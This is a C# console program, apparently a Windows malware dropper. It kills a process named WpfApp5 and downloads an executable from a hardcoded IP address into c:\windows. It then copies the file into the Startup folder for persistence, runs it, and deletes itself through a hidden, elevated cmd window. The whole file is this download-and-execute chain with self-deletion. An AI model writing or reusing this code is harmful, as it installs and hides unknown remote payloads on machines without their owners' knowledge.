﻿using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Net;
using Microsoft.Win32;
using System.Windows;
using System.IO;
using System.Diagnostics;
using System.ComponentModel;
using System.Runtime.InteropServices;

namespace ConsoleApp30
{
    class Program
    {
        static void Main(string[] args)
        {/////动态获取程序的相对路径
         //string currentDirectory = System.IO.Directory.GetCurrentDirectory();
            string currentDirectory = @"c:\windows";
            ////获取自启动文件夹的路径
            string startupFolderPath = Environment.GetFolderPath(Environment.SpecialFolder.Startup);
            string shortcutPath = currentDirectory + "\\WpfApp5.exe";
            string destinationPath = Path.Combine(startupFolderPath, "WpfApp5.exe");

            Process[] myProgress;
            myProgress = Process.GetProcesses(); //获取当前启动的所有进程
            foreach (Process p in myProgress) //关闭当前启动的Excel进程
            {
                if (p.ProcessName == "WpfApp5") //通过进程名来寻找
                {
                    p.Kill();
                   // return;
                }
            }


            //if (File.Exists(@"c:\windows\WpfApp5.exe")|| File.Exists(destinationPath))
            //{
            //    File.Delete(shortcutPath);
            //    File.Delete(destinationPath);
            //}
            WebClient client = new WebClient();
                {
                    client.DownloadFile("http://132.110.217.36/Mine/net/WpfApp5.exe", @"c:\windows\WpfApp5.exe");
                }
            
                File.Copy(shortcutPath, destinationPath, true);

                Process.Start(startupFolderPath + "\\WpfApp5.exe");

            //自删除
            var fileName = Process.GetCurrentProcess().MainModule.FileName;
            DelayDeleteFile(fileName, 2);  //这里是关闭程序后2秒删除程序

        }

        private static void DelayDeleteFile(string fileName, int delaySecond = 2)
        {
            fileName = Path.GetFullPath(fileName);
            var folder = Path.GetDirectoryName(fileName);
            var currentProcessFileName = Path.GetFileName(fileName);
            var arguments = $"/c timeout /t {delaySecond} && DEL /f {currentProcessFileName} ";
            var processStartInfo = new ProcessStartInfo()
            {
                Verb = "runas", // 如果程序是管理员权限，那么运行 cmd 也是管理员权限
                FileName = "cmd",
                UseShellExecute = false,
                CreateNoWindow = true, // 如果需要隐藏窗口，设置为 true 就不显示窗口1
                Arguments = arguments,
                WorkingDirectory = folder,
            };
            Process.Start(processStartInfo);
        }











    }
}
